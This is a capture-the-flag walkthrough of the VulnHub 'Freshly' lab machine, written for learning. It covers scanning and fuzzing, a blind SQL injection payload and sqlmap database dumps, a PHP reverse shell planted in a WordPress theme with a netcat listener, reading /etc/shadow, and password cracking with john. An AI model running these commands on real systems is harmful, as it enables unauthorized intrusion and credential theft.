A freshly squeezed cup of pwnage
Rainy weather can only mean one thing… VulnHub challenge time. Today’s menu @TopHatSec’s Freshly challenge.
The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file. If you can find the secret, send me an email for verification. :)
There are a couple of different ways that you can go with this one. Good luck!
Locate the host:
1 2 3 4 5 6 7 8 9 10 11 |
root@omerta-ctf:~# netdiscover -r 192.168.111.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor ----------------------------------------------------------------------------- 192.168.77.1 00:50:56:c0:00:01 01 060 VMWare, Inc. 192.168.77.49 00:0c:29:63:59:3c 01 060 VMware, Inc. 192.168.77.254 00:50:56:e5:00:8d 01 060 VMWare, Inc. |
What ports do we have open:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
nmap -Pn -n -A -T4 192.168.77.49 Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-02 15:49 AEST Nmap scan report for 192.168.77.49 Host is up (0.40s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.example.com | Not valid before: 2015-02-17T03:30:05+00:00 |_Not valid after: 2025-02-14T03:30:05+00:00 |_ssl-date: ERROR: Script execution failed (use -d to debug) 514/tcp filtered shell 8080/tcp open http Apache httpd |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Site doesn't have a title (text/html). Device type: general purpose|storage-misc|VoIP phone Running (JUST GUESSING): Linux 2.4.X|3.X (98%), Microsoft Windows 7|XP (96%), BlueArc embedded (91%), Pirelli embedded (88%) OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:3 cpe:/o:microsoft:windows_7:::enterprise cpe:/o:microsoft:windows_xp::sp3 cpe:/h:bluearc:titan_2100 cpe:/h:pirelli:dp-10 Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (98%), Linux 3.2 (98%), Microsoft Windows 7 Enterprise (96%), Microsoft Windows XP SP3 (96%), BlueArc Titan 2100 NAS device (91%), Pirelli DP-10 VoIP phone (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops TRACEROUTE (using port 995/tcp) HOP RTT ADDRESS 1 0.09 ms 192.168.145.2 2 1002.61 ms 192.168.77.49 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 66.05 seconds |
Let’s browse to port 80 on the webserver and see what we have:
The page source doesn’t show anything too interesting, so we intercept the request with Burp Suite.
Unfortunately modifying or removing the If-Modified-Since and If-Non-Match headers did not present us with any newer or different version of the page. Next stop, wfuzz.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
root@omerta-ctf:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://192.168.77.49/FUZZ ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.77.49/FUZZ Payload type: file,/usr/share/wordlists/wfuzz/general/common.txt Total requests: 950 ================================================================== ID Response Lines Word Chars Request ================================================================== 00479: C=301 9 L 28 W 318 Ch " - javascript" 00625: C=301 9 L 28 W 318 Ch " - phpmyadmin" |
Nothing useful there, apart from a possible bruteforce dictionary attack against phpmyadmin. Let’s check for any php files:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@omerta-ctf:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://192.168.77.49/FUZZ.php ******************************************************** * Wfuzz 2.0 - The Web Bruteforcer * ******************************************************** Target: http://192.168.77.49/FUZZ.php Payload type: file,/usr/share/wordlists/wfuzz/general/common.txt Total requests: 950 ================================================================== ID Response Lines Word Chars Request ================================================================== 00501: C=200 15 L 23 W 276 Ch " - login" |
Login.php… let’s take a look:
The obvious first thing to check is whether we can log in with default credentials such as admin/admin. No luck. It’s php so let’s try an SQLi vulnerability by entering a user of admin and a password of ‘. The page doesn’t respond with any *sql errors, however it does respond with a 0, so let’s take a closer look at whether there is an SQLi vuln present. We fire up Burp Suite, intercept the POST, and send it to Intruder in order to perform a sniper attack using wfuzz’ SQL.txt for the payload.
Sadly, no results. I’m still pretty sure there’s an SQLi vulnerabiltiy, so let’s fire up sqlmap and see if it can help us out.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
root@omerta-ctf:~# sqlmap -u http://192.168.77.49/login.php --data "user=admin&password=admin&s=Submit" _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150501} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 19:21:09 [19:21:09] [INFO] testing connection to the target URL [19:21:09] [INFO] heuristics detected web page charset 'ascii' [19:21:09] [INFO] testing if the target URL is stable. This can take a couple of seconds [19:21:10] [INFO] target URL is stable [19:21:10] [INFO] testing if POST parameter 'user' is dynamic ---snip--- [19:21:21] [INFO] POST parameter 'user' seems to be 'MySQL > 5.0.11 AND time-based blind (SELECT)' injectable [19:21:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [19:21:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [19:21:21] [INFO] target URL appears to be UNION injectable with 2 columns ---snip--- Parameter: user (POST) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind (SELECT) Payload: user=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))iGFp) AND 'AvkQ'='AvkQ&password=admin&s=Submit ---snip--- |
As I suspected, there is an SQLi vuln. The user parameter is injectable with a time-based blind attack so let’s continuing enumerating with sqlmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
root@omerta-ctf:~# sqlmap -u http://192.168.77.49/login.php --data "user=admin&password=admin&s=Submit" --dbs ---snip--- sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Parameter: user (POST) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind (SELECT) Payload: user=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))iGFp) AND 'AvkQ'='AvkQ&password=admin&s=Submit --- [19:22:39] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL 5.0.11 ---snip--- available databases [7]: [*] information_schema [*] login [*] mysql [*] performance_schema [*] phpmyadmin [*] users [*] wordpress8080 |
A wordpress8080 database? I quickly browse to port 8080, click on the “Nice Fine!…Proceed” link, and wouldn’t you know it.. a wordpress blog which offers some pretty awesome candy! :)
Usually I would fire up wpscan as soon identifying a site as running wordpress, but we’ll save that for later if needed as we’re progressing nicely with our SQLi.
Let’s dump the tables in the wordpress8080 database:
1 2 3 4 5 6 7 |
root@omerta-ctf:~# sqlmap -u http://192.168.77.49/login.php --data "user=admin&password=admin&s=Submit" --tables -D wordpress8080 ---snip--- Database: wordpress8080 [1 table] +-------+ | users | +-------+ |
And last but not least, let’s dump the contents of the users table:
1 2 3 4 5 6 7 8 9 10 |
root@omerta-ctf:~# sqlmap -u http://192.168.77.49/login.php --data "user=admin&password=admin&s=Submit" --dump -D wordpress8080 -T users ---snip--- Database: wordpress8080 Table: users [1 entry] +----------+---------------------+ | username | password | +----------+---------------------+ | admin | SuperSecretPassword | +----------+---------------------+ |
Nice… very nice. Let’s log in as admin shall we..
Time to get a shell to this box now that we have admin rights. The easiest way to exploit a wordpress box once you have admin rights is to edit the themes’ php files and add your own code. I’m a big fan of Pentestmonkey’s php shell, so I add the code for the webshell to the first template available; in this case, 404.php.
We start up our netcat listener and navigate to 8080:wordpress/404.php; and voila! We have our shell.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
root@omerta-ctf:~# nc -nvlp 4443 listening on [any] 4443 ... connect to [192.168.77.50] from (UNKNOWN) [192.168.77.49] 51241 Linux Freshly 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 athlon i686 GNU/Linux 23:50:21 up 21:06, 0 users, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1(daemon) gid=1(daemon) groups=1(daemon) /bin/sh: 0: can't access tty; job control turned off $ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 08:00:27:f2:73:82 inet addr:192.168.77.49 Bcast:192.168.77.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fef2:7382/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:384083 errors:0 dropped:0 overruns:0 frame:0 TX packets:321751 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:55256788 (55.2 MB) TX bytes:68553126 (68.5 MB) $ hostname Freshly |
Onwards and upwards! Let’s enumerate the box and see what we can/can’t do. I always start with checking the obvious, /etc/passwd and /etc/shadow.
1 2 3 4 5 6 7 8 9 |
$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ---snip--- user:x:1000:1000:user,,,:/home/user:/bin/bash mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false candycane:x:1001:1001::/home/candycane: # YOU STOLE MY SECRET FILE! # SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!" |
“YOU STOLE MY SECRET FILE!”. um… not yet I haven’t, but thanks for the push.
1 2 3 4 5 6 7 8 9 10 |
$ cat /etc/shadow root:$6$If.Y9A3d$L1/qOTmhdbImaWb40Wit6A/wP5tY5Ia0LB9HvZvl1xAGFKGP5hm9aqwvFtDIRKJaWkN8cuqF6wMvjl1gxtoR7/:16483:0:99999:7::: daemon:*:16483:0:99999:7::: ---snip--- user:$6$MuqQZq4i$t/lNztnPTqUCvKeO/vvHd9nVe3yRoES5fEguxxHnOf3jR/zUl0SFs825OM4MuCWlV7H/k2QCKiZ3zso.31Kk31:16483:0:99999:7::: mysql:!:16483:0:99999:7::: candycane:$6$gfTgfe6A$pAMHjwh3aQV1lFXtuNDZVYyEqxLWd957MSFvPiPaP5ioh7tPOwK2TxsexorYiB0zTiQWaaBxwOCTRCIVykhRa/:16483:0:99999:7::: # YOU STOLE MY PASSWORD FILE! # SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!" $ |
Next step, let’s push the 3 user’s hashes through john and see if we have any luck:
1 2 3 4 5 6 |
root@omerta-ctf:~# unshadow passwd.txt shadow.txt > unshadow.txt root@omerta-ctf:~# john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt" Use the "--format=crypt" option to force loading these as that type instead Loaded 3 password hashes with 3 different salts (sha512crypt [32/32]) password (candycane) |
I was only lucky to get candycane’s password. I pottered around as the user candycane for quite a while trying to find any vulnerabilities I could exploit, but nothing was jumping out. For shits and giggles I decided to try the same password as that used for the wordpress admin for the root account….
1 2 3 4 5 6 7 8 |
$ python -c 'import pty; pty.spawn("/bin/bash")' daemon@Freshly:/$ su root su root Password: SuperSecretPassword root@Freshly:/# id id uid=0(root) gid=0(root) groups=0(root) |
Grrrr! I was kicking myself for not trying the SuperSecretPassword first up. I wasted so much time performing a dictionary attack and my standard process is to always try passwords I know first, just in case there is a simple password re-use vulnerability. Oh well, serves myself right.
Thank you @TopHatSec for the challenge; thoroughly enjoyable.
As always, thank you @vulnhub and @g0tmi1k for hosting these challenges.
Until next time, tight lines and happy hacking.